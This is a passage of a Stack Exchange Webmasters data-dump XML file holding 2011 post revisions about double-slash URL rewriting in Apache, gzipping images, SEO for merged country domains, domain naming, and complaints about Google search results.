`/a/b/style.css`, which won't exist.  Oops, the page looks ugly.&#xD;&#xA;&#xD;&#xA;(This obviously won't happen if the URL doesn't have a parent path component (`..`) or is absolute.)&#xD;&#xA;&#xD;&#xA;It is my opinion that Apache and IIS (and probably others) are acting **incorrectly** as `/a/b/c/` and `/a/b//c/` technically represent two different resources.  According to &lt;a href=&quot;http://www.ietf.org/rfc/rfc2396.txt&quot;&gt;RFC 2396&lt;/a&gt;, every slash is significant:&#xD;&#xA;&#xD;&#xA;      path          = [ abs_path | opaque_part ]&#xD;&#xA;&#xD;&#xA;      path_segments = segment *( &quot;/&quot; segment )&#xD;&#xA;      segment       = *pchar *( &quot;;&quot; param )&#xD;&#xA;      param         = *pchar&#xD;&#xA;&#xD;&#xA;      pchar         = unreserved | escaped |&#xD;&#xA;                      &quot;:&quot; | &quot;@&quot; | &quot;&amp;&quot; | &quot;=&quot; | &quot;+&quot; | &quot;$&quot; | &quot;,&quot;&#xD;&#xA;&#xD;&#xA;So, `/a/b/c/` consists of three segments: &quot;a&quot;, &quot;b&quot;, and &quot;c&quot;; `/a/b//c/` actually consists of four: &quot;a&quot;, &quot;b&quot;, &quot;&quot; (the empty string), and &quot;c&quot;.  Whether or not the empty string is a valid filesystem directory is a detail of the server's platform.  (And logically, this means the browsers are actually operating **correctly** when parsing relative URLs with parent path components &amp;ndash; in my example, they go up past the &quot;c&quot; directory and the &quot;&quot; directory, leaving us to request `style.css` from &quot;b&quot;.)&#xD;&#xA;&#xD;&#xA;If you're using Apache with `mod_rewrite`, there is a pretty &lt;a href=&quot;http://www.mydigitallife.info/2008/07/21/redirect-or-rewrite-to-remove-double-or-multiple-slashes-in-url/&quot;&gt;simple fix&lt;/a&gt;:&#xD;&#xA;&#xD;&#xA;    # remove multiple slashes anywhere in url &#xD;&#xA;    RewriteCond %{REQUEST_URI} ^(.*)//(.*)$ &#xD;&#xA;    RewriteRule . %1/%2 [R=301,L] &#xD;&#xA;&#xD;&#xA;This will issue a HTTP `301 Moved Permanently` redirect so that any double slashes are stripped out of the URL." />
  <row Id="18061" PostHistoryTypeId="17" PostId="8383" RevisionGUID="adf73621-8f7d-4df1-b7c2-927869a9f628" CreationDate="2011-01-27T22:42:54.627" UserId="-1" Comment="from http://stackoverflow.com/questions/4821378/gzipped-images-is-it-worth/4822601#4822601" Text="" />
  <row Id="18062" PostHistoryTypeId="2" PostId="8383" RevisionGUID="e58075f8-2ec4-4c50-8038-1357535ceaad" CreationDate="2011-01-27T22:20:32.950" UserDisplayName="ima747" Text="This would depend on what is more important, client decompression resources (time, processing power, memory, etc.) or network bandwidth.&#xD;&#xA;&#xD;&#xA;Example 1) Your client systems are either very close to the server (say on a local network) or have high speed connections, however they are very low powered (perhaps embedded systems with limited resources). You would NOT want any client side overhead (un-gziping) and could easily afford the transfer overhead (a few bytes makes no difference in the real world on a local network).&#xD;&#xA;&#xD;&#xA;Example 2) Your clients are all very high powered systems (say, above average office workstations) however there are thousands of them and your server only has a limited bandwidth allocation. In this scenario the end users can easily afford the overhead and every byte matters to the server. gzip away!&#xD;&#xA;&#xD;&#xA;Real World) You are likely NOT better off gziping your images. Modern systems can well afford the processing however, if you have real world expectations someone will use a cell phone or other low powered system. Additionally you are imposing the restriction that the receiver be able to un-gzip. Shouldn't be a problem most of the time, but why limit anyone? The size savings will be trivial and the processing overhead will not be for any system. The greater the size savings you should expect even greater processor overhead so any time you save in the transfer over any normal type of connection has a chance to just be re-created by the time taken to process the gzip into something usable.&#xD;&#xA;&#xD;&#xA;Your best bet IMO is to look into higher optomization and alternative image formats. Not all JPEGs are created equal. Example: save an image as a jpeg in photoshop, then &quot;save for web and devices&quot; as jpeg, the file size should be drastically different with the same quality settings. Additionally the &quot;save for&quot; option provides many more options for fine tuning quality and file size. Don't be afraid of more &quot;dated&quot; formats like GIFs as well. If your image displays nicely within the limitations of the GIF format it's likely to be much smaller still, and offer extra benefits like transparency..." />
  <row Id="18063" PostHistoryTypeId="2" PostId="8382" RevisionGUID="81f2297a-640b-4445-a7c0-a1c57d823c11" CreationDate="2011-01-27T20:17:29.990" UserDisplayName="charlie" Text="Most image formats are already compressed. But in fact, if I take an image and compress it [gzipping it], and then I compare the compressed one to the uncompressed one, there is a difference in size, even though not such a dramatic difference.&#xD;&#xA;&#xD;&#xA;The question is: is it worth gzipping images? the content size flushed down to the client's browser will be smaller, but there will be some client overhead when de-gzipping it.&#xD;&#xA;&#xD;&#xA;Please advise." />
  <row Id="18064" PostHistoryTypeId="1" PostId="8382" RevisionGUID="81f2297a-640b-4445-a7c0-a1c57d823c11" CreationDate="2011-01-27T20:17:29.990" UserDisplayName="charlie" Text="GZipped Images - Is It Worth?" />
  <row Id="18065" PostHistoryTypeId="3" PostId="8382" RevisionGUID="81f2297a-640b-4445-a7c0-a1c57d823c11" CreationDate="2011-01-27T20:17:29.990" UserDisplayName="charlie" Text="&lt;web-development&gt;&lt;performance&gt;&lt;language-agnostic&gt;&lt;compression&gt;" />
  <row Id="18066" PostHistoryTypeId="17" PostId="8382" RevisionGUID="2078a5e8-5ed7-4b5b-91dd-6685b3f751d1" CreationDate="2011-01-27T22:42:54.627" UserId="-1" Comment="from http://stackoverflow.com/questions/4821378/gzipped-images-is-it-worth" Text="" />
  <row Id="18067" PostHistoryTypeId="2" PostId="8384" RevisionGUID="a7e492f6-25e7-458c-847c-ab00d2773f38" CreationDate="2011-01-27T22:52:42.760" UserId="1780" Text="I am in the process of refactoring a number of rental portals I've built for a company with locations in Austria, Germany, Switzerland, and the Netherlands.&#xD;&#xA;&#xD;&#xA;Instead of the current setting of each country site running under its own domain name:&#xD;&#xA;&#xD;&#xA;  * www.companyname.de&#xD;&#xA;  * www.companyname.ch&#xD;&#xA;  * www.companyname.at&#xD;&#xA;&#xD;&#xA;I would **love** to merge them all in this way:&#xD;&#xA;&#xD;&#xA;  * www.companyname.com/de&#xD;&#xA;  * www.companyname.com/ch&#xD;&#xA;  * www.companyname.com/at&#xD;&#xA;&#xD;&#xA;with the country TLDs doing a 301 redirect to the respective .com address. &#xD;&#xA;&#xD;&#xA;However, I have been repeatedly told not to do this due to problems with SEO - the business is very SEO dependent, and being a rental chain, needs to be strong in local results.&#xD;&#xA;&#xD;&#xA;So the question is:&#xD;&#xA;&#xD;&#xA;  - Is there an unavoidable hit in Search Engine Optimization when redirecting to a central .com domain?&#xD;&#xA;&#xD;&#xA;  - What measures can be taken to soften the blow? What comes to my mind is explicitly specifying a `lang` attribute in the `html` tag. &#xD;&#xA;&#xD;&#xA;  - Are there any other ways to specifically point out geographical location for sub-directories?  &#xD;&#xA;&#xD;&#xA; &#xD;&#xA;" />
  <row Id="18068" PostHistoryTypeId="1" PostId="8384" RevisionGUID="a7e492f6-25e7-458c-847c-ab00d2773f38" CreationDate="2011-01-27T22:52:42.760" UserId="1780" Text="SEO consequences for merging country sites in a .com" />
  <row Id="18069" PostHistoryTypeId="3" PostId="8384" RevisionGUID="a7e492f6-25e7-458c-847c-ab00d2773f38" CreationDate="2011-01-27T22:52:42.760" UserId="1780" Text="&lt;seo&gt;&lt;domains&gt;&lt;internationalization&gt;&lt;tld&gt;&lt;local-seo&gt;" />
  <row Id="18070" PostHistoryTypeId="5" PostId="8380" RevisionGUID="aa49b746-1624-44a8-ad92-e61ca1b8339a" CreationDate="2011-01-27T22:54:31.750" UserId="108" Comment="added 99 characters in body" Text="Your H1, Title tag, and URL do not need to be the same.  See an earlier question I asked that was similar, http://webmasters.stackexchange.com/questions/2631/should-my-title-tag-be-the-same-as-my-h1-tag.&#xD;&#xA;&#xD;&#xA;You should consider putting the most important words in both your H1 and title tags for a specific page.  Also, Google does pay attention to work order in the Title tag and H1 tag.  That means you want to put the most important word(s) first as they will get more weight.&#xD;&#xA;&#xD;&#xA;Remember your Title should be around 60 characters but your URL should probably be shorter.&#xD;&#xA;" />
  <row Id="18071" PostHistoryTypeId="5" PostId="8384" RevisionGUID="7930e5a4-b3ff-4324-b761-c37c7f5ec155" CreationDate="2011-01-27T22:58:36.857" UserId="1780" Comment="added 7 characters in body" Text="I am in the process of refactoring a number of rental portals I've built for a company with locations in Austria, Germany, Switzerland, and the Netherlands.&#xD;&#xA;&#xD;&#xA;Instead of the current setting of each country site running under its own domain name:&#xD;&#xA;&#xD;&#xA;  * www.companyname.de&#xD;&#xA;  * www.companyname.ch&#xD;&#xA;  * www.companyname.at&#xD;&#xA;&#xD;&#xA;I would **love** to merge them all in this way:&#xD;&#xA;&#xD;&#xA;  * www.companyname.com/de&#xD;&#xA;  * www.companyname.com/ch&#xD;&#xA;  * www.companyname.com/at&#xD;&#xA;&#xD;&#xA;with the country TLDs doing a 301 redirect to the respective .com address. &#xD;&#xA;&#xD;&#xA;However, I have been repeatedly told not to do this due to likely problems with SEO - the business is very SEO dependent, and being a rental chain, needs to be strong in local results.&#xD;&#xA;&#xD;&#xA;So the question is:&#xD;&#xA;&#xD;&#xA;  - Is there an unavoidable hit in Search Engine Optimization when redirecting to a central .com domain?&#xD;&#xA;&#xD;&#xA;  - What measures can be taken to soften the blow? What comes to my mind is explicitly specifying a `lang` attribute in the `html` tag. &#xD;&#xA;&#xD;&#xA;  - Are there any other ways to specifically point out geographical location for sub-directories?  &#xD;&#xA;&#xD;&#xA; &#xD;&#xA;" />
  <row Id="18072" PostHistoryTypeId="25" PostId="8348" RevisionGUID="0ba77fe4-d403-4072-aac1-d17ccb4c9e5d" CreationDate="2011-01-27T23:16:05.640" Comment="http://twitter.com/#!/StackWebmasters/status/30766019714744320" />
  <row Id="18073" PostHistoryTypeId="2" PostId="8385" RevisionGUID="d6561c91-afcf-44a7-916c-6e3727ed0173" CreationDate="2011-01-27T23:19:50.070" UserId="4972" Text="As ima747 states, optimizing your images will most likely be the best thing to do. &#xD;&#xA;&#xD;&#xA;I can recommend the freeware tool RIOT: http://luci.criosweb.ro/riot/" />
  <row Id="18074" PostHistoryTypeId="2" PostId="8386" RevisionGUID="3aa20c4e-d1f7-4cb3-8a7f-43236c74e080" CreationDate="2011-01-27T23:47:41.537" UserId="4965" Text="SE robots do not know the term subdirectory (normally).&#xD;&#xA;&#xD;&#xA;I've read that some SE robots do index content based on the language hinted by markup and http headers.&#xD;&#xA;&#xD;&#xA;I dunno if a site can announce for which geo-coordinates it offers content. Would be new to me, might be possible.&#xD;&#xA;" />
  <row Id="18075" PostHistoryTypeId="2" PostId="8387" RevisionGUID="4ad3ccc5-5440-48f8-aae3-a8608d581290" CreationDate="2011-01-27T07:31:52.030" UserDisplayName="Vivek Saurabh" Text="HI All,&#xD;&#xA;&#xD;&#xA;I wanted to transfer a register domain from the control panel of the Netfirms to the VPS server of the Netfirms " />
  <row Id="18076" PostHistoryTypeId="1" PostId="8387" RevisionGUID="4ad3ccc5-5440-48f8-aae3-a8608d581290" CreationDate="2011-01-27T07:31:52.030" UserDisplayName="Vivek Saurabh" Text="Transferring domain from netfirms control panel to VPS server(netfirms)" />
  <row Id="18077" PostHistoryTypeId="3" PostId="8387" RevisionGUID="4ad3ccc5-5440-48f8-aae3-a8608d581290" CreationDate="2011-01-27T07:31:52.030" UserDisplayName="Vivek Saurabh" Text="&lt;domains&gt;" />
  <row Id="18078" PostHistoryTypeId="17" PostId="8387" RevisionGUID="089515b3-370f-42b3-a921-def583a77717" CreationDate="2011-01-28T02:10:00.850" UserId="-1" Comment="from http://stackoverflow.com/questions/4813765/transferring-domain-from-netfirms-control-panel-to-vps-servernetfirms" Text="" />
  <row Id="18079" PostHistoryTypeId="25" PostId="8345" RevisionGUID="3bd33f7e-cbb5-4b80-bdbf-4532d7f4160e" CreationDate="2011-01-28T02:16:05.783" Comment="http://twitter.com/#!/StackWebmasters/status/30811319741448193" />
  <row Id="18080" PostHistoryTypeId="2" PostId="8388" RevisionGUID="253c5ea7-783c-47d2-be19-a40b6da2bff6" CreationDate="2011-01-28T02:25:05.783" UserId="1253" Text="I can't tell you what the consequences of this will be for sure  but I think you can do this and reasonably manage your rankings if you follow best practices.&#xD;&#xA;&#xD;&#xA;If possible do a 301 redirect from the old URLs to the new URLs. This means for each and every page. This will let the search engines, and users, know the page has moved and let them the location of the new page. If you keep your site structure and URLs the same (not including the root) then this should be as simple as a simple rule in your .htaccess file. If not then you'll need to make a rule for each page in your sites. There is a small hit taken when using 301 redirects but it's far better then not using them at all.&#xD;&#xA;&#xD;&#xA;Google has a [blog post about multi-regional sites][1] that may be of use to you as well as [one about multiple languages][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2010/03/working-with-multi-regional-websites.html&#xD;&#xA;  [2]: http://googlewebmastercentral.blogspot.com/2010/09/unifying-content-under-multilingual.html" />
  <row Id="18081" PostHistoryTypeId="2" PostId="8389" RevisionGUID="d1bb127e-8df4-4642-8c16-8d1c4d77dc94" CreationDate="2011-01-28T02:35:25.643" UserId="1757" Text="It depends. Does the URL still accurately describe the content? And while titles and URLs don't need to match (just as headings and titles don't either), they should correlate closely.&#xD;&#xA;&#xD;&#xA;Think about how it will impact users. If the user remembers the title/heading of the page being `&quot;20 ways to eat healthy&quot;` but the URL is `/10-ways-to-lose-weight`, then it could cause some confusion.&#xD;&#xA;&#xD;&#xA;It's better to lose some short-term search ranking if it results in better usability. Though if the content undergoes a significant change, you may consider just creating a new page." />
  <row Id="18082" PostHistoryTypeId="2" PostId="8390" RevisionGUID="5aeb5c47-e52b-4b3a-8549-c1c42dc4deef" CreationDate="2011-01-28T03:35:55.730" UserId="3662" Text="I've finally come up with a domain name that I like and is available. The name is nonsensical and doesn't translate into anything meaningful in any language, as far as I know.&#xD;&#xA;&#xD;&#xA;It's something like &quot;FOOBARite&quot;. (Don't steal that!)&#xD;&#xA;&#xD;&#xA;I'm wondering about a few search issues. Results-wise, searching for it in Google currently returns about 15k results, none of which are relevant (dead Twitter pages, various unpopular online handles, and botched french translations).&#xD;&#xA;&#xD;&#xA;However, Google starts off with a spelling suggestion, which removes a letter. (&quot;Did you mean: FOOBARit?&quot;)&#xD;&#xA;&#xD;&#xA;That returns about 250k results for several different and unrelated websites/organizations by that name. One is some technology provider, another is a sign-language organization, another is the name of a font...&#xD;&#xA;&#xD;&#xA;Anyway, the two are pronounced differently, they're just a letter off. Should I go with my idea or is this one-letter variation going to cause me problems? If my site becomes ranked well enough, will Google's spelling suggestion go away? I don't want users to search for my site name and be told they've spelled it wrong." />
  <row Id="18083" PostHistoryTypeId="1" PostId="8390" RevisionGUID="5aeb5c47-e52b-4b3a-8549-c1c42dc4deef" CreationDate="2011-01-28T03:35:55.730" UserId="3662" Text="How important is the uniqueness of your domain name?" />
  <row Id="18084" PostHistoryTypeId="3" PostId="8390" RevisionGUID="5aeb5c47-e52b-4b3a-8549-c1c42dc4deef" CreationDate="2011-01-28T03:35:55.730" UserId="3662" Text="&lt;domain-names&gt;" />
  <row Id="18085" PostHistoryTypeId="5" PostId="8390" RevisionGUID="e6d68211-f91c-4172-8856-f033ae9f35b2" CreationDate="2011-01-28T03:41:45.803" UserId="3662" Comment="added 94 characters in body" Text="I've finally come up with a domain name that I like and is available. The name is nonsensical and doesn't translate into anything meaningful in any language, as far as I know.&#xD;&#xA;&#xD;&#xA;It's something like &quot;FOOBARite&quot;. (Don't steal that!)&#xD;&#xA;&#xD;&#xA;I'm wondering about a few search issues. Results-wise, searching for it in Google currently returns about 15k results, none of which are relevant (dead Twitter pages, various unpopular online handles, and botched french translations).&#xD;&#xA;&#xD;&#xA;However, Google starts off with a spelling suggestion, which removes a letter. (&quot;Did you mean: FOOBARit?&quot;)&#xD;&#xA;&#xD;&#xA;That returns about 250k results for several different and unrelated websites/organizations by that name. One is some technology provider, another is a sign-language organization, another is the name of a font... None of them seem particularly popular, there's not that much activity on any of those pages.&#xD;&#xA;&#xD;&#xA;Anyway, the two are pronounced differently, they're just a letter off. Should I go with my idea or is this one-letter variation going to cause me problems? If my site becomes ranked well enough, will Google's spelling suggestion go away? I don't want users to search for my site name and be told they've spelled it wrong." />
  <row Id="18086" PostHistoryTypeId="2" PostId="8391" RevisionGUID="1f1a1159-fb3a-42cc-9f96-2e5ae332c0a8" CreationDate="2011-01-28T03:42:33.517" UserId="1757" Text="There isn't any cross-browser compatibility issues AFAIK. But it makes the most sense and is most commonly used by putting it in `html` since your document isn't just limited to `body`. See [this page][1] for the purpose of `lang` and [this page][2] for the proper use of `lang` versus other ways of specifying language.&#xD;&#xA;&#xD;&#xA;Since `lang` only specifies the language of the current element and its child elements, unless you place it in your root element (`html`), you're neglecting a large part of your document (what language is your title, meta description, etc.?). You can, however, add additional `lang` attributes in other elements further down your document tree if they are in a different language.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://reference.sitepoint.com/html/core-attributes/lang&#xD;&#xA;  [2]: http://www.w3.org/International/questions/qa-http-and-lang" />
  <row Id="18087" PostHistoryTypeId="5" PostId="8391" RevisionGUID="b959e6e5-d02e-46bc-8a53-5d0c4b55f496" CreationDate="2011-01-28T03:53:23.130" UserId="1757" Comment="added 151 characters in body" Text="There isn't any cross-browser compatibility issues AFAIK. But it makes the most sense and is most commonly used by putting it in `html` since your document isn't just limited to `body`. See [this page][1] for the purpose of `lang` and [this page][2] for the proper use of `lang` versus other ways of specifying language.&#xD;&#xA;&#xD;&#xA;Since `lang` only specifies the language of the current element and its child elements, unless you place it in your root element (`html`), you're neglecting a large part of your document (what language is your title, meta description, etc.?). You can, however, add additional `lang` attributes in other elements further down your document tree if they are in a different language.&#xD;&#xA;&#xD;&#xA;More documents outlining best practices:&#xD;&#xA;&#xD;&#xA; - http://www.w3.org/International/tutorials/language-decl/&#xD;&#xA; - http://www.w3.org/TR/i18n-html-tech-lang/&#xD;&#xA;&#xD;&#xA;  [1]: http://reference.sitepoint.com/html/core-attributes/lang&#xD;&#xA;  [2]: http://www.w3.org/International/questions/qa-http-and-lang" />
  <row Id="18088" PostHistoryTypeId="25" PostId="8390" RevisionGUID="c962c7d7-8e05-45db-b96e-82d8b8196994" CreationDate="2011-01-28T05:16:06.047" Comment="http://twitter.com/#!/StackWebmasters/status/30856619092873216" />
  <row Id="18089" PostHistoryTypeId="2" PostId="8392" RevisionGUID="97d982ef-7af8-4063-8726-f0b09bcbdc6c" CreationDate="2011-01-28T05:16:48.700" UserId="1064" Text="&gt; Should I go with my idea or is this&#xD;&#xA;&gt; one-letter variation going to cause me&#xD;&#xA;&gt; problems?&#xD;&#xA;&#xD;&#xA;Persistence pays off - you can rank well for most any domain name that you're willing to market, but there are a number of problems (primarily problems for off-line marketing) which stem from using a nonce word for your domain.&#xD;&#xA;&#xD;&#xA;Ideally, your domain name should reflect the purpose of your site, be easy to spell (no number/letter/punctuation confusion), and be unique enough that you will not have to compete with *too* many other sites for top ranking on your site's name.&#xD;&#xA;&#xD;&#xA;&gt; If my site becomes ranked well enough,&#xD;&#xA;&gt; will Google's spelling suggestion go&#xD;&#xA;&gt; away?&#xD;&#xA;&#xD;&#xA;Yes, but, as has been the case with my last name (try a search for &quot;lefree&quot;) you might see some &quot;irrelevant&quot; results returned even after you've established your domain as an actual word." />
  <row Id="18090" PostHistoryTypeId="5" PostId="8313" RevisionGUID="d7faeb0a-0698-4443-b0df-21b454610820" CreationDate="2011-01-28T07:56:50.387" UserId="4643" Comment="added 192 characters in body; edited tags; edited tags" Text="EDIT: I'd like to change this title to:&#xD;&#xA;&#xD;&#xA;How to straighten manipulative results of Google search engine presnted to general public?  &#xD;&#xA;---- &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I am frequently googling and more and more frequently bump when searching by one software product I am given instead the results on Google's own products.  &#xD;&#xA;&#xD;&#xA;For ex., if I google by keyword &#xD;&#xA;&#xD;&#xA;  - keycaptcha  &#xD;&#xA;for the &quot;Past 24 hours&quot; (after clicking on &quot;Show search tools&quot; --&gt; &quot;Past 24 hours&quot; on the left sidebar of a browser)  I am getting the [Google's search results show only results on reCAPTCHA][1].  &#xD;&#xA;&#xD;&#xA;Though, if confine keycaptcha in quotes [the results are &quot;correct&quot;][2] (well, kind of since they are still distorted in comparison with other search engines).  &#xD;&#xA;I checked this during few months from different domains at different ISPs, different operating systems and from a dozen of browsers.   &#xD;&#xA;The results are the same.  &#xD;&#xA;&#xD;&#xA;Why is it and how can it be possibly corrected?  &#xD;&#xA;&#xD;&#xA;My related posts:   &#xD;&#xA; &#xD;&#xA;  - [&quot;How Gmail spam filter works?&quot;][3]  &#xD;&#xA;  - [IP adresses blacklisting][4]  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Update:**  &#xD;&#xA;It is impossible for me to directly start using google.com as I am always redirected to google.ru (from google.com) by my ip-address &quot;auto-detect location&quot; google's &quot;convenience&quot;.  &#xD;&#xA;The [google's help tells that it is impossible to switch off my location auto-detection because it is very helpful feature][5]. &#xD;&#xA;  &#xD;&#xA;There is [a work-around to use google.com/ncr]  &#xD;&#xA;(?anybody know what does it mean)  &#xD;&#xA;to prevent redirection from google.com but even [using this workaround, i.e. through google.com but not google.ru,  I am getting reCAPTCHA results ONLY on google.com-ing by keycaptcha with &quot;Past 24 hours&quot; option][6]   &#xD;&#xA;&#xD;&#xA;OK, I can search by quoted &quot;keycaptcha&quot;, I am already accustomed to these google's quirks, but the question arises why the heck to burn time promoting someone's product if GOOGLE uses other product brands for showing its own interests/brands (reCAPTCHA) instead and what can be done with it?   &#xD;&#xA;The general user will not understand that he was cheated and just will pick up the first (wrong) results   &#xD;&#xA;&#xD;&#xA;**Update2:**  &#xD;&#xA;Note that this googling behaviour:&#xD;&#xA;&#xD;&#xA;  -  is independent on whether I am logged-in (or log-out-ed of) a google account, which account, on browser (I tried Opera, Chrome, FireFox, IE of different versions, Safari), OS or even domain;&#xD;&#xA;  - there are many such cases but I just targeted one concrete restricted example speciffically to to prevent wandering between unrelated details and peculiarities;   &#xD;&#xA;&#xD;&#xA;@[Michael][7], &#xD;&#xA;first it is not true and this text contains 2 links for real and significant results..  &#xD;&#xA;I also wrote that this is just one concrete example from many and based on many-month exp.  &#xD;&#xA;&#xD;&#xA;These distortions happen upon clicking on: &#xD;&#xA;  &#xD;&#xA;  -   Past 24 hours, &#xD;&#xA;  - Past week, &#xD;&#xA;  - Past month, &#xD;&#xA;  - Past year&#xD;&#xA;  - in many other keywords, occasions/configurations of searches, etc. &#xD;&#xA;&#xD;&#xA;Second, the absence of the results is the result and there is no point to substitute it by another.  &#xD;&#xA;&#xD;&#xA;3d, the question is not abt workarounds like how to write search queries or use another searching engines.  &#xD;&#xA;&#xD;&#xA;The question is how to straighten the googling's results in order to stop disorienting general public about.  &#xD;&#xA;Keywords: Google, scam, fraud, redirection&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.ru/search?num=50&amp;hl=en&amp;lr=lang_pt|lang_en&amp;biw=1111&amp;bih=557&amp;tbs=lr:lang_1pt|lang_1en,qdr:d&amp;q=keycaptcha&amp;btnG=Search&amp;aq=f&amp;aqi=g-s1g-sx9&amp;aql=&amp;oq=&#xD;&#xA;  [2]: http://www.google.com/search?num=50&amp;hl=en&amp;lr=lang_pt|lang_en&amp;biw=1111&amp;bih=557&amp;tbs=lr:lang_1pt|lang_1en,qdr:d&amp;q=keycaptcha&amp;btnG=Search&amp;aq=f&amp;aqi=g-s1g-sx9&amp;aql=&amp;oq=&#xD;&#xA;  [3]: http://stackoverflow.com/questions/3312729/how-gmail-spam-filter-works/4809392#4809392&#xD;&#xA;  [4]: http://stackoverflow.com/questions/1762189/blacklist-ip-database/4790734#4790734&#xD;&#xA;  [5]: http://www.google.com/support/websearch/bin/answer.py?answer=179386&amp;hl=en&amp;tbo=1&#xD;&#xA;  [6]: http://www.google.com/#q=keycaptcha&amp;hl=en&amp;prmd=ivns&amp;source=lnt&amp;tbs=qdr:d&amp;sa=X&amp;ei=eedATYOyJsuaOr_svJ8I&amp;ved=0CAgQpwUoAg&amp;fp=d99ec83a3d63f24&#xD;&#xA;  [7]: http://Michael" />
  <row Id="18091" PostHistoryTypeId="6" PostId="8313" RevisionGUID="d7faeb0a-0698-4443-b0df-21b454610820" CreationDate="2011-01-28T07:56:50.387" UserId="4643" Comment="added 192 characters in body; edited tags; edited tags" Text="&lt;seo&gt;&lt;google&gt;&lt;advertising&gt;&lt;search-engines&gt;&lt;google-search&gt;" />
  <row Id="18092" PostHistoryTypeId="2" PostId="8393" RevisionGUID="779f4417-6f95-4c1f-b882-411196b84fc9" CreationDate="2011-01-28T07:59:47.450" UserId="4643" Text="I am getting most of my subscribed Emails into spam folder of my GMail account.&#xD;&#xA;And, [as I understood, GMail does not allow whitelisting][1]&#xD;&#xA;  &#xD;&#xA;The spam folder in GMail is always hidden and it becomes more and more uncomfortable&#xD;&#xA;How to configure GMail Spam folder to be always visible?  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/2629614/whitelisting-website-email-so-it-is-not-rejected-as-spam/4817290#4817290" />
  <row Id="18093" PostHistoryTypeId="1" PostId="8393" RevisionGUID="779f4417-6f95-4c1f-b882-411196b84fc9" CreationDate="2011-01-28T07:59:47.450" UserId="4643" Text="How to make GMail spam folder always visible?" />
  <row Id="18094" PostHistoryTypeId="3" PostId="8393" RevisionGUID="779f4417-6f95-4c1f-b882-411196b84fc9" CreationDate="2011-01-28T07:59:47.450" UserId="4643" Text="&lt;google&gt;&lt;email&gt;&lt;gmail&gt;" />
  <row Id="18095" PostHistoryTypeId="5" PostId="8313" RevisionGUID="ad463d1d-d155-4451-9a68-e93b08d0b40f" CreationDate="2011-01-28T08:01:54.907" UserId="4643" Comment="added 7 characters in body; deleted 4 characters in body; added 70 characters in body" Text="EDIT: I'd like to change this title to:&#xD;&#xA;&#xD;&#xA;How to STOP Google's manipulation of Google search engine presented to general public?  &#xD;&#xA;---- &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I am frequently googling and more and more frequently bump when searching by one software product I am given instead the results on Google's own products.  &#xD;&#xA;&#xD;&#xA;For ex., if I google by keyword &#xD;&#xA;&#xD;&#xA;  - keycaptcha  &#xD;&#xA;for the &quot;Past 24 hours&quot; (after clicking on &quot;Show search tools&quot; --&gt; &quot;Past 24 hours&quot; on the left sidebar of a browser)  I am getting the [Google's search results show only results on reCAPTCHA][1].  &#xD;&#xA;&#xD;&#xA;Though, if confine keycaptcha in quotes [the results are &quot;correct&quot;][2] (well, kind of since they are still distorted in comparison with other search engines).  &#xD;&#xA;I checked this during few months from different domains at different ISPs, different operating systems and from a dozen of browsers.   &#xD;&#xA;The results are the same.  &#xD;&#xA;&#xD;&#xA;Why is it and how can it be possibly corrected?  &#xD;&#xA;&#xD;&#xA;My related posts:   &#xD;&#xA; &#xD;&#xA;  - [&quot;How Gmail spam filter works?&quot;][3]  &#xD;&#xA;  - [IP adresses blacklisting][4]  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Update:**  &#xD;&#xA;It is impossible for me to directly start using google.com as I am always redirected to google.ru (from google.com) by my ip-address &quot;auto-detect location&quot; google's &quot;convenience&quot;.  &#xD;&#xA;The [google's help tells that it is impossible to switch off my location auto-detection because it is very helpful feature][5]. &#xD;&#xA;  &#xD;&#xA;There is [a work-around to use google.com/ncr]  &#xD;&#xA;(?anybody know what does it mean)  &#xD;&#xA;to prevent redirection from google.com but even [using this workaround, i.e. through google.com but not google.ru,  I am getting reCAPTCHA results ONLY on google.com-ing by keycaptcha with &quot;Past 24 hours&quot; option][6]   &#xD;&#xA;&#xD;&#xA;OK, I can search by quoted &quot;keycaptcha&quot;, I am already accustomed to these google's quirks, but the question arises why the heck to burn time promoting someone's product if GOOGLE uses other product brands for showing its own interests/brands (reCAPTCHA) instead and what can be done with it?   &#xD;&#xA;The general user will not understand that he was cheated and just will pick up the first (wrong) results   &#xD;&#xA;&#xD;&#xA;**Update2:**  &#xD;&#xA;Note that this googling behaviour:&#xD;&#xA;&#xD;&#xA;  -  is independent on whether I am logged-in (or log-out-ed of) a google account, which account, on browser (I tried Opera, Chrome, FireFox, IE of different versions, Safari), OS or even domain;&#xD;&#xA;  - there are many such cases but I just targeted one concrete restricted example speciffically to to prevent wandering between unrelated details and peculiarities;   &#xD;&#xA;&#xD;&#xA;@[Michael][7], &#xD;&#xA;first it is not true and this text contains 2 links for real and significant results..  &#xD;&#xA;I also wrote that this is just one concrete example from many and based on many-month exp.  &#xD;&#xA;&#xD;&#xA;These distortions happen upon clicking on: &#xD;&#xA;  &#xD;&#xA;  -   Past 24 hours, &#xD;&#xA;  - Past week, &#xD;&#xA;  - Past month, &#xD;&#xA;  - Past year&#xD;&#xA;  - in many other keywords, occasions/configurations of searches, etc. &#xD;&#xA;&#xD;&#xA;Second, **the absence of the results is the result and there is no point to sneakingly substitute it by another unsolicited one. It is the definition of spam and scam**.  &#xD;&#xA;&#xD;&#xA;3d, the question is not abt workarounds like how to write search queries or use another searching engines.  &#xD;&#xA;&#xD;&#xA;The question is how to straighten the googling's results in order to stop disorienting general public about.   &#xD;&#xA;&#xD;&#xA;Keywords:   &#xD;&#xA;Google, scam, fraud, redirection&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.ru/search?num=50&amp;hl=en&amp;lr=lang_pt|lang_en&amp;biw=1111&amp;bih=557&amp;tbs=lr:lang_1pt|lang_1en,qdr:d&amp;q=keycaptcha&amp;btnG=Search&amp;aq=f&amp;aqi=g-s1g-sx9&amp;aql=&amp;oq=&#xD;&#xA;  [2]: 